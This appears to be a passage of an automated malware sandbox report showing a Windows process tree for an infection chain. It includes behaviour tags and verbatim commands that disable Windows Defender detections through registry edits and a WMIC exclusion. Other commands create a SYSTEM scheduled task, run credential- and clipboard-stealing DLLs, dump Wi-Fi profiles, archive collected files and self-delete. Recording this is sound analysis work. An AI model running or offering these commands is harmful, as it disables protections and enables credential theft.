                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                          12⤵
                                                                                            PID:4856
                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                        10⤵
                                                                                          PID:5760
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                            11⤵
                                                                                              PID:5624
                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                12⤵
                                                                                                  PID:5620
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                              10⤵
                                                                                                PID:864
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                  11⤵
                                                                                                    PID:4032
                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                      12⤵
                                                                                                        PID:1576
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                    10⤵
                                                                                                      PID:5580
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                        11⤵
                                                                                                          PID:5452
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                            12⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            PID:5660
                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                              13⤵
                                                                                                                PID:1812
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                        9⤵
                                                                                                          PID:5844
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                            10⤵
                                                                                                              PID:5248
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                11⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                PID:5368
                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                  12⤵
                                                                                                                    PID:1400
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 21:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS98B.tmp\Install.exe\" Wt /zHadidhNli 385118 /S" /V1 /F
                                                                                                              9⤵
                                                                                                              • Drops file in Windows directory
                                                                                                              • Creates scheduled task(s)
                                                                                                              PID:5780
                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                                                                                              9⤵
                                                                                                                PID:5672
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                                                                  10⤵
                                                                                                                    PID:5404
                                                                                                                    • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                      schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                                                                      11⤵
                                                                                                                        PID:5432
                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                            "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                            5⤵
                                                                                                            • Loads dropped DLL
                                                                                                            PID:440
                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                              6⤵
                                                                                                              • Blocklisted process makes network request
                                                                                                              • Loads dropped DLL
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:4592
                                                                                                              • C:\Windows\system32\netsh.exe
                                                                                                                netsh wlan show profiles
                                                                                                                7⤵
                                                                                                                  PID:2672
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\018855536220_Desktop.zip' -CompressionLevel Optimal
                                                                                                                  7⤵
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:4952
                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
                                                                                                              5⤵
                                                                                                              • Blocklisted process makes network request
                                                                                                              • Loads dropped DLL
                                                                                                              PID:4772
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000077001\jfesawdr.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000077001\jfesawdr.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:1128
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              PID:1028
                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                6⤵
                                                                                                                  PID:3556
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1028 -s 368
                                                                                                                  6⤵
                                                                                                                  • Program crash
                                                                                                                  PID:5056
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                PID:3556
                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                  6⤵
                                                                                                                  • Checks computer location settings
                                                                                                                  PID:1028
                                                                                                                  • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                                                                                                                    "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                                                                                                                    7⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:4060
                                                                                                                  • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                                                                                                                    "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                                                                                                                    7⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:3844
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                                                                                                                    7⤵
                                                                                                                      PID:5844
                                                                                                                      • C:\Windows\SysWOW64\choice.exe
                                                                                                                        choice /C Y /N /D Y /T 3
                                                                                                                        8⤵
                                                                                                                          PID:5416
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 360
                                                                                                                      6⤵
                                                                                                                      • Program crash
                                                                                                                      PID:3040
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000020001\6a270387b4.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1000020001\6a270387b4.exe"
                                                                                                                3⤵
                                                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Executes dropped EXE
                                                                                                                • Identifies Wine through registry keys
                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:2268
                                                                                                              • C:\Users\Admin\1000021002\95b0f8143b.exe
                                                                                                                "C:\Users\Admin\1000021002\95b0f8143b.exe"
                                                                                                                3⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:4672
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
                                                                                                                  4⤵
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:3048
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd8a55ab58,0x7ffd8a55ab68,0x7ffd8a55ab78
                                                                                                                    5⤵
                                                                                                                      PID:1844
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1620 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:2
                                                                                                                      5⤵
                                                                                                                        PID:3572
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:8
                                                                                                                        5⤵
                                                                                                                          PID:3112
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2224 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:8
                                                                                                                          5⤵
                                                                                                                            PID:3244
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2976 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:1
                                                                                                                            5⤵
                                                                                                                              PID:3688
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2984 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:1
                                                                                                                              5⤵
                                                                                                                                PID:4024
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4428 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:1
                                                                                                                                5⤵
                                                                                                                                  PID:3340
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4612 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:8
                                                                                                                                  5⤵
                                                                                                                                    PID:2880
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4216 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:8
                                                                                                                                    5⤵
                                                                                                                                      PID:3788
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3344 --field-trial-handle=1804,i,15671274825935181298,7941242556368445582,131072 /prefetch:8
                                                                                                                                      5⤵
                                                                                                                                        PID:3720
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1500 -ip 1500
                                                                                                                                1⤵
                                                                                                                                  PID:2496
                                                                                                                                • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                                                                                                                                  1⤵
                                                                                                                                    PID:4984
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1424 -ip 1424
                                                                                                                                    1⤵
                                                                                                                                      PID:4764
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                      1⤵
                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Identifies Wine through registry keys
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:3016
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
                                                                                                                                      1⤵
                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                      PID:5024
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:3176
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3324 -ip 3324
                                                                                                                                      1⤵
                                                                                                                                        PID:836
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1028 -ip 1028
                                                                                                                                        1⤵
                                                                                                                                          PID:5068
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                          1⤵
                                                                                                                                            PID:4036
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                            1⤵
                                                                                                                                              PID:1440
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                              1⤵
                                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Identifies Wine through registry keys
                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                              PID:4444
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
                                                                                                                                              1⤵
                                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                              PID:5056
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2668
                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3648 -ip 3648
                                                                                                                                              1⤵
                                                                                                                                                PID:4060
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3556 -ip 3556
                                                                                                                                                1⤵
                                                                                                                                                  PID:836
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSFD56.tmp\Install.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSFD56.tmp\Install.exe Wt /Zshdidytoz 385118 /S
                                                                                                                                                  1⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                  PID:4944
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:5956
                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1536
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                            4⤵
                                                                                                                                                              PID:3532
                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:5628
                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3740
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:3516
                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:4856
                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5036
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:5608
                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:1576
                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5572
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:5292
                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:1972
                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5800
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:5716
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                        PID:5372
                                                                                                                                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:3568
                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD 